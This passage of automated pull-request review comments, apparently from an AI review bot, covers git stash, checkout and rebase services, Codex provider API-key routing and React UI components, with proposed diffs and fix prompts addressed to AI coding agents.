() =>factory captures no unique state and the two resulting function instances (lines 295 and 343) are functionally indistinguishable. Remove the factory wrapper and share one reference.♻️ Proposed refactor
- const createRunAgentFn = - () => - async ( + const runAgentFn = async ( workDir: string, featureId: string, prompt: string, abortController: AbortController, pPath: string, imagePaths?: string[], model?: string, opts?: { planningMode?: PlanningMode; requirePlanApproval?: boolean; previousContent?: string; systemPrompt?: string; autoLoadClaudeMd?: boolean; thinkingLevel?: ThinkingLevel; branchName?: string | null; [key: string]: unknown; } - ): Promise<void> => { + ): Promise<void> => { ... - }; + }; // PipelineOrchestrator - createRunAgentFn() + runAgentFn ); // ExecutionService - createRunAgentFn(), + runAgentFn,🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/auto-mode/facade.ts` around lines 195 - 277, createRunAgentFn is defined as a factory that returns an async closure but the factory captures no state and is invoked twice producing identical functions; replace the factory with a single async function (keep the same parameters and body) named createRunAgentFn and update call sites to use createRunAgentFn directly (remove the extra invocation parentheses), preserving all referenced symbols: resolveModelString, ProviderFactory.getProviderForModel, stripProviderPrefix, getProviderByModelId, agentExecutor.execute, planApprovalService.waitForApproval, featureStateManager.saveFeatureSummary and the buildTaskPrompt logic so behavior is unchanged.apps/ui/src/components/ui/git-diff-panel.tsx (1)
18-18: Use barrel export forTruncatedFilePathinstead of a direct path import.Line 18 imports
TruncatedFilePathvia its full file path whileButton(line 19) andSpinner(line 17) also use direct paths — but those are pre-existing. New additions should follow the established intra-app import convention.♻️ Proposed change
-import { TruncatedFilePath } from '@/components/ui/truncated-file-path'; +import { TruncatedFilePath } from '@/components/ui';Based on learnings: "when importing UI components within the same app, prefer barrel exports from
../components(i.e., import from the components index barrel) rather than direct path imports."🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/ui/git-diff-panel.tsx` at line 18, The TruncatedFilePath import uses a direct file path; change it to use the components barrel export (import TruncatedFilePath from the components index barrel) so it follows the intra-app convention used by other UI imports; update git-diff-panel.tsx to import TruncatedFilePath from the components barrel (and if TruncatedFilePath is not exported from the barrel/index, add it there) so the symbol TruncatedFilePath is consumed via the central components export.apps/server/src/routes/worktree/common.ts (1)
73-80:isValidRemoteNameimprovements correctly address past review concerns.The new implementation now rejects slashes, leading
-/.,..sequences, and NUL bytes — all the issues raised in the prior review. LGTM.One remaining minor gap worth considering: git's
check-ref-formatalso forbids path components ending in.(e.g.,"remote.") and names ending with.lock(reserved suffix). These could create invalid refs atrefs/remotes/<name>/….🔒 Proposed additional guards
export function isValidRemoteName(name: string): boolean { if (!name || name.length === 0 || name.length >= MAX_BRANCH_NAME_LENGTH) return false; if (name.startsWith('-') || name.startsWith('.')) return false; if (name.includes('..')) return false; if (name.includes('/')) return false; if (name.includes('\0')) return false; + if (name.endsWith('.') || name.endsWith('.lock')) return false; return /^[a-zA-Z0-9._-]+$/.test(name); }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/common.ts` around lines 73 - 80, isValidRemoteName currently rejects slashes, leading '-' or '.', '..', NUL and non-alphanum/._- chars but still allows names with path components ending in '.' and names ending with the reserved suffix '.lock'; update isValidRemoteName to additionally reject any name that endsWith('.') and any name that endsWith('.lock') and also reject if any path component (split by '/') endsWith('.') so refs like "remote." or components like "foo./bar" are invalid; keep existing checks and return false for these new cases before the final regex test.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@apps/server/src/services/branch-utils.ts`:
- Around line 53-72: The function hasAnyChanges currently logs execGitCommand
failures and returns false, which hides real errors from callers like
stashChanges; change the catch block in hasAnyChanges to log the error (using
logger.error and getErrorMessage) and then re-throw the original or a wrapped
Error instead of returning false so callers can distinguish a failed status
check from a clean working tree (keep function name hasAnyChanges and the call
to execGitCommand unchanged).
- Around line 9-10: Replace the relative import of execGitCommand with the
canonical package export and keep execGitCommandWithLockRetry imported from the
server wrapper: update the import so execGitCommand is imported from
"@automaker/git-utils" while execGitCommandWithLockRetry continues to be
imported from "../lib/git.js", ensuring references to execGitCommand and
execGitCommandWithLockRetry in branch-utils.ts remain unchanged.
- Around line 88-118: In stashChanges, the success path currently returns true
unconditionally; instead capture the stdout return value from
execGitCommandWithLockRetry (it returns the command stdout string), inspect it
case-insensitively for the benign messages like "no local changes to save" or
"nothing to stash", log the debug message and return false in that case,
otherwise return true; keep the existing catch behavior for real non-zero errors
and continue to pass through includeUntracked and message into the args when
calling execGitCommandWithLockRetry.
In `@apps/server/src/services/pull-service.ts`:
- Around line 239-243: The error-path return objects in pull-service.ts omit the
resolved branchName, making responses inconsistent; update every error return
(the blocks returning { success: false, error: ... } — e.g., the returns at the
shown diff and the other ranges mentioned) to include branch: branchName so they
match success/conflict responses; locate the variable branchName in the pull
logic and add branch: branchName to each error return object.
In `@apps/server/src/services/rebase-service.ts`:
- Around line 42-73: The validation trims ontoBranch into normalizedOntoBranch
but the function still uses the raw ontoBranch later; update runRebase to use
normalizedOntoBranch everywhere after validation: pass normalizedOntoBranch to
execGitCommand(['rebase','--', normalizedOntoBranch], ...), use
normalizedOntoBranch in the returned success object (ontoBranch/message/branch
fields) and in all error/conflict return paths (including the conflict handling
return block) so git receives the trimmed ref and all messages include the
normalized value.
In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx`:
- Around line 77-80: The ref baseBranchRef is not updated synchronously when you
reset baseBranch, causing fetchBranches() to see the stale value; update
baseBranchRef.current immediately in the reset logic (where you call
setBaseBranch('')) so the ref matches the new state before calling
fetchBranches(), and make the same synchronous ref update in the other reset
location (the similar block around fetchBranches usage) to ensure the guard that
checks branchNames against currentBaseBranch uses the fresh value.
---
Outside diff comments:
In `@apps/server/src/providers/codex-provider.ts`:
- Around line 839-852: The args array currently appends the '-' stdin sentinel
before pushing CODEX_OUTPUT_SCHEMA_FLAG and schemaPath so the CLI treats the
schema flag as a positional arg and drops it; modify the construction of the
args list in the codex exec invocation (the args variable) so that if schemaPath
is present you insert or include CODEX_OUTPUT_SCHEMA_FLAG and schemaPath before
the '-' element (i.e., ensure CODEX_OUTPUT_SCHEMA_FLAG and schemaPath appear
earlier in the args array, not pushed after the '-' sentinel) so the Codex CLI
receives all named options before positional arguments.
In `@apps/server/src/services/auto-mode/facade.ts`:
- Around line 522-530: The route handler that calls
RecoveryService.resumeFeature (in resume-feature.ts) currently only logs errors
in its .catch() and must also emit an auto_mode_error event via
createEventEmitter() so failures that occur before
ExecutionService.executeFeature are surfaced to the UI; update the .catch() to
call createEventEmitter().emit('auto_mode_error', { error: serializeError(err),
featureId, projectPath, source: 'resumeFeature' }) (or similar structured
payload) instead of just logging, ensuring you reference the same identifiers
used by the handler (featureId, projectPath) and keep behavior consistent with
handleFacadeError's previous event emission.
In `@apps/ui/src/components/usage-popover.tsx`:
- Around line 522-529: The refresh buttons render an icon-only <Button> (e.g.,
the Claude button using RefreshCw, className and onClick calling refetchClaude)
with no accessible name; add an aria-label to each icon-only Button (for Claude
use "Refresh Claude usage") so screen readers get context, and apply the same
pattern to the other three provider buttons (use "Refresh Codex usage", "Refresh
z.ai usage", "Refresh Gemini usage") while keeping the existing props such as
className, claudeLoading conditional, and onClick handlers intact.
---
Duplicate comments:
In `@apps/server/src/providers/codex-provider.ts`:
- Around line 204-209: The current isSdkEligibleWithApiKey function silently
drops options.allowedTools when routing to SDK mode; either prevent SDK routing
for tool-constrained requests or have the SDK enforce allowedTools. Fix by
updating isSdkEligibleWithApiKey to only allow SDK when no tools are requested
(e.g., append && isNoToolsRequested(options)) so tool constraints are preserved,
or alternatively implement enforcement of options.allowedTools inside
executeCodexSdkQuery in codex-sdk-client.ts; choose one approach and update the
corresponding function (isSdkEligibleWithApiKey or executeCodexSdkQuery) so
allowedTools is not ignored.
In `@apps/server/src/routes/worktree/routes/checkout-branch.ts`:
- Around line 187-195: isBranchError was updated to classify only "already
exists" and "does not exist" messages as client errors and intentionally exclude
stash failures so they become HTTP 500; ensure the function
isBranchError(error?: string): boolean only checks for error.includes('already
exists') || error.includes('does not exist') (and returns false for falsy
errors) and keep the docstring that documents stash failures are excluded, and
verify callers (e.g., the checkout branch error handling path) rely on this
behavior so stash failures are handled as server errors rather than client
errors.
In `@apps/server/src/services/auto-mode/facade.ts`:
- Line 19: The file still contains outdated relative imports; replace the
previous relative-path imports with package imports by importing
resolveModelString from '@automaker/model-resolver' and execGitCommand from
'@automaker/git-utils', remove the old relative import lines, and ensure any
references to resolveModelString and execGitCommand in the file (e.g., in
functions or method calls) continue to work with the new imports.
- Around line 266-269: The replacement for {{taskName}} was returning undefined
if task.description was missing; update the string replaces so {{taskName}} uses
the same safe fallback as {{taskDescription}} by using task.description || `Task
${task.id}` in the chain (the .replace(...) calls in the facade where taskName,
taskIndex, totalTasks, and taskDescription are substituted) and scan for other
occurrences of taskName replacement to apply the same fallback consistently.
In `@apps/server/src/services/merge-service.ts`:
- Around line 45-46: The merge lifecycle emitter is already correctly added as
an optional parameter to performMerge (signature includes emitter?:
EventEmitter) and uses emitter?.emit(...) so callers without an emitter are
unaffected; no code changes required—just confirm the parameter name (emitter)
and optional chaining are present in performMerge and that any new emits use
emitter?.emit(...) consistently throughout the function.
- Around line 131-181: The handling of conflictFiles is correct (conflictFiles
starts undefined and is only set when Layer 2 or 3 finds files) so no code
change is required; remove the duplicate review comment and mark the
conversation as resolved for the symbols conflictFiles, diffIndicatesConflict,
hasUnmergedPaths and hasConflicts (and keep the existing execGitCommand calls)
so the PR reflects the approved change.
In `@apps/server/src/services/worktree-branch-service.ts`:
- Around line 217-241: The current try/catch around stashChanges is dead because
stashChanges never throws; update the logic to handle the boolean return: after
calling didStash = await stashChanges(worktreePath, stashMessage, true) check if
didStash is false, emit the same 'switch:error' event (including the stash
failure reason if stashChanges can provide one or a generic message like "failed
to stash"), and return a failure result to abort the checkout; remove the
unnecessary try/catch block and ensure variables referenced (hadChanges,
didStash, stashMessage, worktreePath, previousBranch, targetBranch, branchName,
events) are used to build the error event and return value so we never proceed
to checkout when stashing failed.
- Around line 152-157: The call to execGitCommand that reads the current branch
(currentBranchOutput -> previousBranch) can throw and currently bypasses
emitting the lifecycle event switch:error after switch:start; wrap the
execGitCommand([... 'rev-parse', '--abbrev-ref', 'HEAD'], worktreePath) call in
a try/catch inside the same function (worktree-branch-service logic that emits
switch:start), and in the catch emit the same switch:error event (including the
error) before rethrowing or returning, mirroring the error handling used in
other paths so the lifecycle contract is preserved.
---
Nitpick comments:
In `@apps/server/src/routes/worktree/common.ts`:
- Around line 73-80: isValidRemoteName currently rejects slashes, leading '-' or
'.', '..', NUL and non-alphanum/._- chars but still allows names with path
components ending in '.' and names ending with the reserved suffix '.lock';
update isValidRemoteName to additionally reject any name that endsWith('.') and
any name that endsWith('.lock') and also reject if any path component (split by
'/') endsWith('.') so refs like "remote." or components like "foo./bar" are
invalid; keep existing checks and return false for these new cases before the
final regex test.
In `@apps/server/src/routes/worktree/routes/checkout-branch.ts`:
- Around line 65-73: The conditional guarding base branch validation contains a
redundant check: in the checkout-branch route remove the unnecessary "&&
baseBranch !== 'HEAD'" because isValidBranchName(baseBranch) already allows
"HEAD"; update the validation in the handler that references baseBranch and
isValidBranchName so the if simply tests "if (baseBranch &&
!isValidBranchName(baseBranch))" and leave the existing error response intact.
- Around line 176-183: The catch block emitting events?.emit('switch:error')
only sends { error: getErrorMessage(error) } and is missing the worktree
context; update the emitter in the generic catch to include worktreePath and
branchName (the same fields used elsewhere in this route) so listeners can
correlate events. Locate the catch that calls events?.emit('switch:error'), add
worktreePath and branchName to the emitted payload (e.g., { worktreePath,
branchName, error: getErrorMessage(error) }), keep the existing
logError('Checkout branch failed') and res.status(500) response unchanged, and
ensure worktreePath/branchName variables are in scope before emitting.
- Around line 129-175: Replace the duplicated "original simple flow" in the
checkout route with a call to the service function performCheckoutBranch so all
branch validation, creation and event emission are handled centrally;
specifically, remove the manual rev-parse/checkout logic and call
performCheckoutBranch(resolvedPath, { branchName, baseBranch, stashChanges:
false }) (or the service's equivalent signature) so that switch:start /
switch:checkout / switch:done lifecycle events fire and behavior matches the
stash-handling path. Ensure any returned result from performCheckoutBranch is
forwarded to res.json and errors are handled the same way as the other branch
path.
In `@apps/server/src/services/auto-mode/facade.ts`:
- Around line 195-277: createRunAgentFn is defined as a factory that returns an
async closure but the factory captures no state and is invoked twice producing
identical functions; replace the factory with a single async function (keep the
same parameters and body) named createRunAgentFn and update call sites to use
createRunAgentFn directly (remove the extra invocation parentheses), preserving
all referenced symbols: resolveModelString, ProviderFactory.getProviderForModel,
stripProviderPrefix, getProviderByModelId, agentExecutor.execute,
planApprovalService.waitForApproval, featureStateManager.saveFeatureSummary and
the buildTaskPrompt logic so behavior is unchanged.
In `@apps/server/src/services/branch-utils.ts`:
- Around line 126-140: The popStash function uses execGitCommand to run 'git
stash pop' but, like stashChanges, it must use execGitCommandWithLockRetry
because popping a stash also mutates refs (drops stash@{0}) and can hit
index.lock; update popStash to call execGitCommandWithLockRetry(['stash',
'pop'], cwd) and keep the existing error handling (checking getErrorMessage for
CONFLICT/Merge conflict) so behavior remains the same while gaining lock-retry
semantics.
- Around line 134-138: The popStash error handling currently only sets
hasConflicts for 'CONFLICT'/'Merge conflict' cases; extend popStash to also
detect git's "would be overwritten by merge" abort by checking
getErrorMessage(error) for the phrase "would be overwritten by merge" (or "Your
local changes to the following files would be overwritten by merge") and return
an extra boolean flag (e.g., isOverwriteAborted: true) alongside hasConflicts
and error so callers can distinguish an overwrite-abort from a merge conflict;
update the returned object shape in popStash (and any local typedef/JSDoc) to
include isOverwriteAborted and set it false for other failure paths.
In `@apps/server/src/services/checkout-branch-service.ts`:
- Around line 102-113: The pre-check calls localBranchExists(...) and
hasAnyChanges(...) can throw and currently bypass the
events?.emit('switch:error', ...) contract; wrap each call (or the entire
pre-check validation block that uses worktreePath and branchName) in a try/catch
that on error emits events?.emit('switch:error', { worktreePath, branchName,
error: err.message || String(err) }) and returns { success: false, error:
String(err) } — mirror the error handling pattern used around current branch
detection so failures always emit 'switch:error' and return a failure result.
In `@apps/server/src/services/pull-service.ts`:
- Line 295: Replace the redundant ternary expressions like stashRecoveryFailed ?
stashRecoveryFailed : undefined with the simpler stashRecoveryFailed ||
undefined wherever they occur in pull-service.ts (specifically in the
object/property assignments that use stashRecoveryFailed); update the identical
occurrences later in the file as well so the property is set to the boolean when
true and undefined otherwise.
In `@apps/server/src/services/rebase-service.ts`:
- Around line 178-180: The code currently re-throws the raw rebaseError variable
which breaks the Promise<RebaseResult> contract; change the throw at the end of
the rebase flow to return a structured RebaseResult (e.g. { success: false,
error: { message: rebaseError.message, stack: rebaseError.stack, code:
rebaseError.code || 'REBASE_ERROR' } }) instead of throwing, so callers only
ever receive a RebaseResult; update the return where rebaseError is referenced
(the throw rebaseError statement) to build and return that object and preserve
logging if needed.
In `@apps/server/src/services/worktree-branch-service.ts`:
- Around line 349-400: The catch block repeats computing checkoutErrorMsg with
getErrorMessage(checkoutError) three times; move a single const checkoutErrorMsg
= getErrorMessage(checkoutError) to the top of the catch (above the didStash
check) and then use that variable in the branches that build combinedMessage,
emit events ('switch:error'), and return objects so you avoid duplicate calls
while preserving the existing logic around didStash,
popStash(worktreePath)/popResult, events?.emit, and the final throw
checkoutError.
- Around line 253-263: The if (!parsedRemote) guard in the isRemote branch is
unreachable because parseRemoteBranch returning null is handled earlier; remove
that dead throw and use the non-null parsedRemote when accessing
parsedRemote.branch (either by using a non-null assertion parsedRemote! or by
narrowing its type where parseRemoteBranch is called), so update the block that
calls localBranchExists and execGitCommand to reference parsedRemote confidently
(symbols: isRemote, parsedRemote, parseRemoteBranch, localBranchExists,
execGitCommand, branchName, worktreePath).
- Around line 62-81: The fetchRemotes function currently swallows non-timeout
errors silently; after the existing timeout branch in the catch, add a
logger.debug (or logger.error at debug level) that logs the caught error and a
short context message (including cwd) for any error that is not the specific
'Process aborted' timeout, while preserving the current behavior of continuing
without rethrowing; update the catch handling around execGitCommand so that
errors other than the timeout are logged (e.g., via logger.debug(`fetchRemotes
failed`, { error })) to aid diagnostics.
In `@apps/ui/src/components/ui/git-diff-panel.tsx`:
- Line 18: The TruncatedFilePath import uses a direct file path; change it to
use the components barrel export (import TruncatedFilePath from the components
index barrel) so it follows the intra-app convention used by other UI imports;
update git-diff-panel.tsx to import TruncatedFilePath from the components barrel
(and if TruncatedFilePath is not exported from the barrel/index, add it there)
so the symbol TruncatedFilePath is consumed via the central components export.
In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx`:
- Line 35: Update the import in create-branch-dialog.tsx to use the barrel
export: replace the direct cross-module type import of BranchInfo (currently
imported from '../worktree-panel/types') with the barrel import from
'../worktree-panel' so the file imports { type BranchInfo } from
'../worktree-panel' to match the module's re-export pattern.
apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx
Show resolved
Hide resolved
|
@coderabbitai review |
✅ Actions performedReview triggered.
|
There was a problem hiding this comment.
Actionable comments posted: 8
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx (1)
200-241:⚠️ Potential issue | 🟡 Minor
handleCreatesilently swallows API failures and proceeds to create the branch.When
checkChangesthrows (line 232), the catch block logs a warning and falls through todoCreate(false). This means a network error or server failure during the uncommitted-changes check will result in creating the branch without any stash prompt — potentially losing uncommitted work if the user expected to be warned. Consider surfacing the failure to the user or at least showing a confirmation before proceeding.Suggested approach
} catch (err) { - // If we can't check for changes, proceed without stashing - logger.warn('Failed to check for uncommitted changes, proceeding without stash:', err); + // If we can't check for changes, warn but still proceed + logger.warn('Failed to check for uncommitted changes, proceeding without stash:', err); + toast.warning('Could not check for uncommitted changes — proceeding without stash'); }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx` around lines 200 - 241, handleCreate currently swallows failures from api.worktree.checkChanges and falls through to doCreate(false), which can create a branch despite unknown uncommitted state; change the catch in handleCreate so that when checkChanges throws you do not automatically call doCreate(false): set an error state (e.g., setError with a user-facing message) and/or surface a confirmation dialog that explicitly asks the user whether to proceed without checking for uncommitted changes (reuse setShowStashConfirm or add a new confirmation flag), and only call doCreate(false) when the user explicitly confirms; ensure logger.warn remains for diagnostics but the UI must block automatic creation on exceptions from checkChanges.
🧹 Nitpick comments (4)
apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx (1)
82-108:fetchBranchessilently swallows errors — user sees an empty branch list with no feedback.If the HTTP call fails (line 103), the error is logged but the UI shows no indication. The loading spinner disappears and the branch list remains empty, with no way for the user to understand what happened. Consider showing a toast or inline error so the user knows to retry via the Refresh button.
Suggested approach
} catch (err) { logger.error('Failed to fetch branches:', err); + toast.error('Failed to load branches'); } finally {🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx` around lines 82 - 108, fetchBranches currently only logs errors (logger.error) so failures leave the UI empty with no feedback; update the catch block in fetchBranches to surface the error to users by both invoking the app's notification/toast API (e.g., showToast/enqueueSnackbar) with a concise message and by setting a new local state (e.g., branchFetchError via useState) so the CreateBranchDialog can render an inline error message next to the branch list and enable the existing Refresh button to retry by calling fetchBranches again; ensure you still call setIsLoadingBranches(false) in finally and keep setBranches untouched on success.apps/server/src/services/auto-mode/facade.ts (1)
205-252: Index signature forces redundant type assertions on every property access.The
[key: string]: unknownon line 213 widens every named property tounknown, which is why lines 246–252 need explicitascasts back to the types already declared a few lines above. A cleaner alternative is to intersect a concrete interface withRecord<string, unknown>so the named properties retain their types:♻️ Suggested approach
- opts?: { - planningMode?: PlanningMode; - requirePlanApproval?: boolean; - previousContent?: string; - systemPrompt?: string; - autoLoadClaudeMd?: boolean; - thinkingLevel?: ThinkingLevel; - branchName?: string | null; - [key: string]: unknown; - } + opts?: { + planningMode?: PlanningMode; + requirePlanApproval?: boolean; + previousContent?: string; + systemPrompt?: string; + autoLoadClaudeMd?: boolean; + thinkingLevel?: ThinkingLevel; + branchName?: string | null; + } & Record<string, unknown>With the intersection,
opts.planningModeresolves toPlanningMode | undefineddirectly and theascasts on lines 246–252 can be dropped.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/auto-mode/facade.ts` around lines 205 - 252, The opts parameter's inline type uses an index signature ([key: string]: unknown) that widens all named properties to unknown, forcing casts where opts is used (e.g., in agentExecutor.execute). Replace the inline type for opts with an intersection of the concrete prop shape and Record<string, unknown> (or declare an interface like AutoModeOpts extends Record<string, unknown> { planningMode?: PlanningMode; requirePlanApproval?: boolean; previousContent?: string; systemPrompt?: string; autoLoadClaudeMd?: boolean; thinkingLevel?: ThinkingLevel; branchName?: string | null; }) so named properties keep their declared types; then remove the redundant `as` casts when passing opts.planningMode, opts.requirePlanApproval, opts.previousContent, opts.systemPrompt, opts.autoLoadClaudeMd, opts.thinkingLevel, and opts.branchName into agentExecutor.execute.apps/ui/src/components/ui/git-diff-panel.tsx (1)
918-981: Fallback staging controls duplicateFileDiffSectionbutton block.The stage/unstage button/spinner block inside the fallback section (lines 940–967) is nearly identical to the one in
FileDiffSection(lines 389–423). Extracting a sharedFileStagingControlscomponent would consolidate the logic.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/ui/git-diff-panel.tsx` around lines 918 - 981, Extract the duplicated stage/unstage button/spinner JSX into a new reusable component (e.g., FileStagingControls) and replace the duplicated blocks in FileDiffSection and the fallback block in git-diff-panel with it; the new FileStagingControls should accept props like path (string), stagingState (return type of getStagingState), stagingInProgress (Set or lookup), onStage (handleStageFile), onUnstage (handleUnstageFile) and any UI flags (e.g., enableStaging) and internally render the Spinner, Stage and Unstage Buttons with the same classes/props so behavior and accessibility remain identical. Ensure imports/exports are updated and that both FileDiffSection and the fallback in git-diff-panel pass file.path and stagingState (from getStagingState(file)) to the new component and remove the duplicated JSX.apps/server/src/providers/codex-provider.ts (1)
832-836: Image directory path recomputed redundantly; derive fromimagePathsorwriteImageFilesreturn.
imagePathsalready contains paths inside the image directory, but the directory is recomputed via the samepath.joinexpression used insidewriteImageFiles. If the directory structure ever changes, two places must be updated.♻️ Suggested simplification
- if (imagePaths.length > 0) { - const imageDir = path.join(options.cwd, CODEX_INSTRUCTIONS_DIR, IMAGE_TEMP_DIR); - preExecArgs.push(CODEX_ADD_DIR_FLAG, imageDir); - } + if (imagePaths.length > 0) { + preExecArgs.push(CODEX_ADD_DIR_FLAG, path.dirname(imagePaths[0])); + }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/providers/codex-provider.ts` around lines 832 - 836, The image directory is recomputed redundantly; instead of rebuilding it with path.join(...) near the if (imagePaths.length > 0) block, derive the directory from the existing imagePaths or from the return value of writeImageFiles so only one canonical location is used. Update the logic around imagePaths / writeImageFiles and the preExecArgs push (using CODEX_ADD_DIR_FLAG) so you compute imageDir once (e.g., path.dirname(imagePaths[0]) or the writeImageFiles result) and reuse that variable when calling preExecArgs.push(CODEX_ADD_DIR_FLAG, imageDir); remove the duplicated path.join(...) expression and any assumptions about the directory structure in the second place.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@apps/server/src/providers/codex-provider.ts`:
- Around line 228-234: The execution plan currently returns openAiApiKey even
when hasCliNativeAuth is true, which injects Automaker-stored keys into the CLI;
modify the branch that returns { mode: CODEX_EXECUTION_MODE_CLI, cliPath,
openAiApiKey } so that if hasCliNativeAuth is true you only include an API key
when it originates from the environment (i.e., process.env.OPENAI_API_KEY) and
explicitly exclude any Automaker-stored key resolved by resolveOpenAiApiKey;
implement this by checking whether openAiApiKey === process.env.OPENAI_API_KEY
(or undefined) and set openAiApiKey to undefined before returning the plan when
it came from storage, ensuring the CLI subprocess isn’t given Automaker-stored
credentials.
In `@apps/server/src/services/checkout-branch-service.ts`:
- Around line 255-304: The catch block currently awaits popStash(worktreePath)
without guarding against popStash throwing, which can produce an unhandled
rejection and violate the CheckoutBranchResult contract; wrap the popStash call
in its own try/catch and on any error from popStash construct a failure
CheckoutBranchResult (use getErrorMessage to build a clear error string), emit
the switch:error event via events?.emit with that message and set
stashPopConflicts/stashPopConflictMessage appropriately, and then return that
failure result so the function never throws from the error-recovery path.
- Around line 183-199: The popStash call must be isolated so a thrown exception
doesn't trigger the outer catch recovery to attempt a second pop; wrap the pop
logic (the await popStash(worktreePath) call and the subsequent hasConflicts /
conflictMessage / stashReapplied branches and the events?.emit('switch:pop'...)
handling) in its own try/catch, and in the pop-specific catch record the pop
error into conflictMessage (or a dedicated popError variable) and clear or mark
didStash so the outer error-recovery path does not call popStash again; ensure
you still set hasConflicts/stashReapplied appropriately when popResult is
returned so the rest of checkout-branch-service logic can proceed safely.
- Around line 75-77: Extend HasAnyChangesOptions (in branch-utils.ts) to include
includeUntracked?: boolean; update hasAnyChanges to accept that options object
and, when includeUntracked is false, ignore status lines that represent
untracked files (porcelain lines starting with "??") before deciding there are
changes; update the call site in checkout-branch-service (where
hasAnyChanges(worktreePath) is invoked) to pass { includeUntracked } using the
local includeUntracked variable so hadChanges reflects the caller’s intent;
ensure TypeScript imports/types are updated so the new option compiles cleanly
and tests still pass.
- Around line 132-161: Add an includeUntracked boolean option to hasAnyChanges
and thread it through the call in checkout-branch-service so its behavior
matches stashChanges; update the hasAnyChanges signature to accept
includeUntracked, ensure callers (checkout-branch-service and any others) pass
the includeUntracked flag, and adjust the internal logic of hasAnyChanges to
ignore untracked files when includeUntracked is false so that
hasAnyChanges(worktreePath, includeUntracked) and stashChanges(worktreePath,
..., includeUntracked) are consistent.
In `@apps/server/src/services/rebase-service.ts`:
- Around line 151-156: When hasConflicts is true ensure
abortRebase(worktreePath) always runs even if getConflictFiles(worktreePath)
throws: wrap getConflictFiles in its own try/catch and store either the
conflictFiles or the fetchError, then call abortRebase in a finally or
subsequent block so the repo is cleaned; after aborting, re-throw a composed
error that includes the original rebaseError and any getConflictFiles error (or
the fetched conflictFiles) so callers retain both the rebase failure context and
any conflict-file lookup failure. Use the existing symbols getConflictFiles,
abortRebase, hasConflicts, rebaseError, and worktreePath to locate and update
the logic.
In `@apps/ui/src/components/ui/git-diff-panel.tsx`:
- Around line 949-960: The onClick handlers in the GitDiffPanel Button JSX call
the async functions handleUnstageFile(...) and handleStageFile(...) without
handling their returned promises; make these calls consistent with the
established pattern by prefixing them with void (e.g., onClick={() => void
handleStageFile(file.path)}) so the promises are intentionally ignored and no
floating-promise lint warnings occur; update both occurrences where these
handlers are used in the Button components (the handlers named handleUnstageFile
and handleStageFile) to use void.
- Around line 549-568: The code path can reach the generic "Stage API not
available" when useWorktrees is true but worktreePath is missing; update
executeStagingAction (or the function containing this snippet) to defensively
check for the invalid combination (useWorktrees && !worktreePath) before
attempting API calls and return with a specific error toast (e.g., 'Worktree
path required' or similar) instead of falling through to the generic result
check; locate the symbols useWorktrees, worktreePath, result and the API
branches (api.worktree.stageFiles / api.git.stageFiles) and add the guard early
to short-circuit this case.
---
Outside diff comments:
In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx`:
- Around line 200-241: handleCreate currently swallows failures from
api.worktree.checkChanges and falls through to doCreate(false), which can create
a branch despite unknown uncommitted state; change the catch in handleCreate so
that when checkChanges throws you do not automatically call doCreate(false): set
an error state (e.g., setError with a user-facing message) and/or surface a
confirmation dialog that explicitly asks the user whether to proceed without
checking for uncommitted changes (reuse setShowStashConfirm or add a new
confirmation flag), and only call doCreate(false) when the user explicitly
confirms; ensure logger.warn remains for diagnostics but the UI must block
automatic creation on exceptions from checkChanges.
---
Duplicate comments:
In `@apps/server/src/providers/codex-provider.ts`:
- Around line 204-209: isSdkEligibleWithApiKey currently allows SDK routing even
when options.allowedTools is set, but executeCodexSdkQuery (and the
codex-sdk-client) do not honor allowedTools; either enforce tool restrictions in
the SDK path or prevent SDK routing for tool-restricted requests. Fix by
updating executeCodexSdkQuery / codex-sdk-client to read and enforce
options.allowedTools (reject or filter tool invocations) OR change
isSdkEligibleWithApiKey to return false when options.allowedTools is non-empty
so the CLI path (which enforces tools) is used; reference
isSdkEligibleWithApiKey, executeCodexSdkQuery, and the codex-sdk-client when
making the change and add unit tests verifying a request with allowedTools is
not routed to SDK without enforcement.
In `@apps/server/src/services/branch-utils.ts`:
- Around line 9-10: The import for execGitCommand is coming from a relative
module; change it to import execGitCommand from the shared package
'@automaker/git-utils' while keeping execGitCommandWithLockRetry imported from
the existing relative module. Update the import statement so it reads something
like: import { execGitCommand } from '@automaker/git-utils'; and keep import {
execGitCommandWithLockRetry } from '../lib/git.js'; ensuring only execGitCommand
is moved to the shared package and no other symbols are changed.
- Around line 53-72: The function hasAnyChanges currently swallows
execGitCommand errors and returns false, which conflates "clean tree" with
"status check failed"; change hasAnyChanges to log the error (using logger.error
and getErrorMessage) but then rethrow the error (or throw a new Error that
includes the cwd and original error message) instead of returning false so
callers like stashChanges can detect failures and fail fast; update the catch in
hasAnyChanges to either remove the try/catch so the original error bubbles from
execGitCommand, or keep the logger.error call and then throw err (or a wrapped
Error) so failures are not treated as a clean state.
In `@apps/server/src/services/checkout-branch-service.ts`:
- Around line 81-100: Previous gap in getCurrentBranch error handling has been
fixed: the try/catch around execGitCommand now emits 'switch:error' and returns
a CheckoutBranchResult on failure. No code change required; keep the current
try/catch using execGitCommand([... 'rev-parse' ...], worktreePath), preserve
the use of getErrorMessage(branchError) and events?.emit('switch:error', {...}),
and continue returning the structured error object so previousBranch handling
remains correct.
In `@apps/server/src/services/rebase-service.ts`:
